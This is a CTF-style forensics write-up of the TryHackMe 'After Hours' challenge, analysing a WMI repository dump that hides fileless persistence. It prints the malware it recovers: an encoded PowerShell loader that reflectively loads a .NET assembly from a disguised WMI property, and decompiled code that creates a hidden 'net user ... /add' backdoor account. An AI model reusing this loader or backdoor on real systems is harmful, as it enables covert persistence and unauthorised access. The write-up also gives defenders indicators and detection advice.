close
Skip to main content

Command Palette

Search for a command to run...

TryHackMe : After Hours Writeup

Updated
9 min readView as Markdown
TryHackMe : After Hours Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Summary

The provided archive contains a raw dump of a Windows CIM repository - the backing store for WMI (INDEX.BTR, MAPPING1.MAP, MAPPING2.MAP, MAPPING3.MAP, OBJECTS.DATA, normally found at C:\Windows\System32\wbem\Repository\). Buried inside OBJECTS.DATA is a three-stage fileless persistence chain: a CommandLineEventConsumer (classic WMI persistence) launches PowerShell, which pulls a second-stage payload out of a custom, disguised WMI class property, decompresses it into a .NET assembly, and loads it entirely in memory. That assembly is a machine-name gated backdoor account creator - its net user /add command line contains the flag, base64-encoded as the account password.

CommandLineEventConsumer (WMI persistence)
        |
        v
powershell.exe -enc <base64> (stage 1 script)
        |
        v
reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData (disguised as telemetry)
        |
        v
base64-decode -> raw DEFLATE decompress -> in-memory .NET assembly (stage 2)
        |
        v
Assembly.Load(...).EntryPoint.Invoke() - runs entirely in the PowerShell process
        |
        v
checks Environment.MachineName == "bytelotusdc"
        |
        v
cmd.exe /c net user patch <base64> /add
        |
        v
base64 decodes to the flag

Identifying the Artifact

The archive extracts to five files with no extension hints, so the first step was figuring out what they actually are:

unzip attachments.zip
ls -la
INDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATA

file reported all five as generic data - no magic bytes to go on directly. The filenames themselves are the giveaway, though: INDEX.BTR, MAPPING<n>.MAP, and OBJECTS.DATA is the exact file layout Windows uses for its WMI object repository (the "CIM repository"). Three rotating MAPPING*.MAP files (a common pattern for crash-consistent writes - two or three generations of the same mapping table so a crash mid-write doesn't corrupt the whole database) all but confirmed it, and a quick string scan sealed it:

strings -e l -n 4 OBJECTS.DATA | grep -iE "EventFilter|EventConsumer|CIM_|__Win32Provider"
CIM_UserDevice
ActiveScriptEventConsumer
CommandLineEventConsumer
__EventFilter
__FilterToConsumerBinding

These are stock WMI schema class names (__EventFilter, __FilterToConsumerBinding, and the built-in event consumer classes) - this is a genuine CIM repository, most likely lifted from root\subscription / root\default on a compromised or lab Windows host.

Ruling Out the Easy Path

The obvious first move - grep the raw bytes for the flag format directly - came up empty:

import glob

targets = [b'THM{', 'T\x00H\x00M\x00{\x00'.encode('latin1')]
for fn in glob.glob('*'):
    data = open(fn, 'rb').read()
    for t in targets:
        if t in data:
            print(fn, "hit")

No hits in either ASCII or UTF-16LE, in any of the five files. A broader case-insensitive sweep for flag, thm, ctf did return hits - but every single one turned out to be a false positive from legitimate WMI schema text (algorithm, CIM_ProductFRU, PredictFailure, and similar stock property descriptions). This is an unmodified, stock CIM schema on the surface - the interesting content had to be hidden inside an actual instance, not the schema itself.

Finding the Persistence Mechanism

Rather than trying to fully reverse-engineer the CIM object-store binary format (a real undertaking - Mandiant's flare-wmi/python-cim project exists specifically because this format is nontrivial and undocumented by Microsoft), a targeted search for known WMI-abuse indicators was much faster and got a hit immediately:

import re

data = open('OBJECTS.DATA', 'rb').read()
for kw in [b'powershell', b'-enc', b'IEX', b'FromBase64String', b'cmd.exe']:
    idxs = [m.start() for m in re.finditer(re.escape(kw), data)]
    if idxs:
        print(kw, len(idxs), idxs[:5])
b'powershell' 6 [1308878, 10254542, 18188606, 18421999, 22173902]
b'-enc' 4 [1308918, 10254582, 22173942, 22477046]

Pulling the context around one of the -enc hits landed directly on the persistence object:

...CommandLineEventConsumer\x00\x00cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAg...

A CommandLineEventConsumer is one of the two classic WMI event-consumer types abused for fileless persistence (the other being ActiveScriptEventConsumer) - paired with a __EventFilter and a __FilterToConsumerBinding, it lets an attacker run an arbitrary command line every time a WMI event fires (logon, a timer interval, process creation, etc.), with no file ever touching disk for the initial trigger. The same object appeared four times at different offsets in the file - consistent with the CIM repository's own internal versioning (older generations of the same object surviving in unallocated/log regions), which is itself a normal and expected artifact of how the repository is written.

Decoding Stage 1 (PowerShell)

-enc payloads in PowerShell are always base64-encoded UTF-16LE - decoded directly:

import base64

b64 = b"JABmAGkAbABlACAAPQAg..."  # full string extracted from OBJECTS.DATA
decoded = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
print(decoded.decode('utf-16le'))
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
    $o.Write($b,0,$r);
    $r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null

This script doesn't do anything malicious by itself - its entire job is to read a second payload out of a disguised WMI class property (Win32_HardwareTelemetry.ConfigData - a plausible-sounding but entirely custom class, not a real Windows telemetry class), base64-decode it, run it through a raw DEFLATE decompressor, and load the result directly into memory as a .NET assembly via reflection - then invoke its entry point. No second file ever touches disk; the whole second stage lives only inside the PowerShell process's memory.

Extracting Stage 2 (the .NET assembly)

Located and extracted the Win32_HardwareTelemetry.ConfigData string value from OBJECTS.DATA (found via the same class/property name pair, immediately following a string\x00\x00 type marker in the object's property table):

import re, base64, zlib

data = open('OBJECTS.DATA', 'rb').read()
idx = data.find(b'Win32_HardwareTelemetry')
marker = b'string\x00\x00'
pos = data.find(marker, idx)
start = pos + len(marker)
end = data.find(b'\x00', start)
b64 = data[start:end]

compressed = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
decompressed = zlib.decompress(compressed, -15)  # raw DEFLATE, no zlib header
open('payload.exe', 'wb').write(decompressed)
file payload.exe
payload.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

A genuine 4 KB .NET assembly dropped straight out of a WMI property value - this confirms the entire chain was a working fileless persistence / logic-bomb setup, not just a red herring.

Reversing the Payload

ASCII strings gave the .NET metadata (type names, method names) but not the runtime string literals, which .NET stores separately in the User String (#US) heap as UTF-16:

strings -n 4 payload.exe
<Module>
updates.exe
Program
AfterHours
Environment
get_MachineName
ProcessStartInfo
set_FileName
set_Arguments
Console
WriteLine

This much confirms the shape of the logic: read the machine name, compare it, and conditionally start a process. The actual comparison value and the command line only showed up in the UTF-16 string scan:

strings -e l -n 4 payload.exe
bytelotusdc
cmd.exe
/c net user patch <REDACTED_B64> /add
Execution halted: Environment mismatch.

Putting the decompiled logic back together:

if (Environment.MachineName.Equals("bytelotusdc")) {
    var psi = new ProcessStartInfo {
        FileName = "cmd.exe",
        Arguments = "/c net user patch <REDACTED_B64> /add",
        WindowStyle = ProcessWindowStyle.Hidden,
        CreateNoWindow = true
    };
    Process.Start(psi);
} else {
    Console.WriteLine("Execution halted: Environment mismatch.");
}

This is a machine-name-gated backdoor: on a host named exactly bytelotusdc (almost certainly the domain controller in the "Byte Lotus" environment this repository was pulled from), it silently creates a local account named patch with a base64-encoded password - and does nothing observable at all on any other host, which is what kept it from surfacing in the earlier broad string searches for flag/thm/ctf.

Decoding the Flag

import base64
print(base64.b64decode('<REDACTED_B64>').decode())
THM{REDACTED}

The backdoor's password is the flag, base64-encoded - a fitting final step for a challenge built entirely around obfuscation layered on top of obfuscation.

Key Findings

# Layer Technique Purpose
1 WMI persistence CommandLineEventConsumer running powershell.exe -enc ... Execution trigger, no file dropped for stage 1
2 Stage 1 (PowerShell) Reads a custom WMI class property (Win32_HardwareTelemetry.ConfigData), base64 + raw-DEFLATE decodes it Retrieves stage 2 from a disguised, fileless storage location
3 Stage 2 (.NET assembly) Loaded and invoked entirely via Reflection.Assembly.Load(...) in memory Runs the actual payload logic with no second file on disk
4 Payload logic Environment.MachineName equality check Limits execution to a specific named host, evading generic detection/sandboxes
5 Payload action net user patch <base64> /add Creates a hidden local backdoor account; password doubles as the flag

Indicators of Compromise

  • WMI class Win32_HardwareTelemetry with a string property ConfigData - not a real Windows/CIM class, and any class holding a large base64 blob in an otherwise plausible-sounding property is worth treating as suspicious.
  • CommandLineEventConsumer invoking powershell.exe with -enc and referencing [WmiClass] / .Properties[...] in the decoded command - a strong signal of WMI-as-storage abuse, not just WMI-as-trigger.
  • Local account named patch created outside of normal patch-management tooling, on a host matching the hardcoded bytelotusdc machine name check.
  • net user ... /add launched as a child of cmd.exe, itself a child of powershell.exe, itself triggered by WmiPrvSE.exe / scrcons.exe rather than an interactive logon - the expected process lineage for WMI event consumer execution.

Detection & Mitigation Recommendations

  • Monitor and alert on __EventFilter, __EventConsumer, and __FilterToConsumerBinding instance creation in root\subscription (and root\default on older systems) - legitimate use of WMI event subscriptions outside of known management tooling (SCCM, monitoring agents) is rare.
  • Treat any custom, non-Microsoft WMI class as suspicious if it stores large string/blob properties - this is a known technique for fileless payload storage precisely because the CIM repository is rarely inspected and persists across reboots.
  • Enable and review PowerShell Script Block Logging (Event ID 4104) - it captures the decoded content of -enc payloads, which would have surfaced this entire chain immediately without manual base64/DEFLATE work.
  • Alert on Reflection.Assembly.Load / .EntryPoint.Invoke patterns in captured script blocks - reflective, in-memory .NET assembly loading from PowerShell is a strong red flag with very few legitimate use cases.
  • Baseline and alert on local account creation (net user /add, New-LocalUser) outside of change-managed windows, especially when the parent process chain traces back through WmiPrvSE.exe.

Attack Chain

[CIM repository dump: INDEX.BTR + MAPPING1-3.MAP + OBJECTS.DATA]
        |
        v
[identified as C:\Windows\System32\wbem\Repository via filenames + schema strings]
        |
        v
[direct "THM{" / "flag" / "ctf" string search - all false positives, stock WMI schema]
        |
        v
[targeted search for -enc / powershell / IEX -> hits CommandLineEventConsumer]
        |
        v
[CommandLineEventConsumer runs: cmd /C powershell.exe -enc <base64>]
        |
        v
[stage 1 decoded: reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData]
        |
        v
[ConfigData located in OBJECTS.DATA -> base64-decoded -> raw DEFLATE decompressed]
        |
        v
[stage 2 recovered: 4KB .NET assembly (payload.exe), loaded via Reflection.Assembly.Load]
        |
        v
[reversed: checks Environment.MachineName == "bytelotusdc"]
        |
        v
[if matched: cmd.exe /c net user patch <base64> /add]
        |
        v
[base64 password decoded -> flag]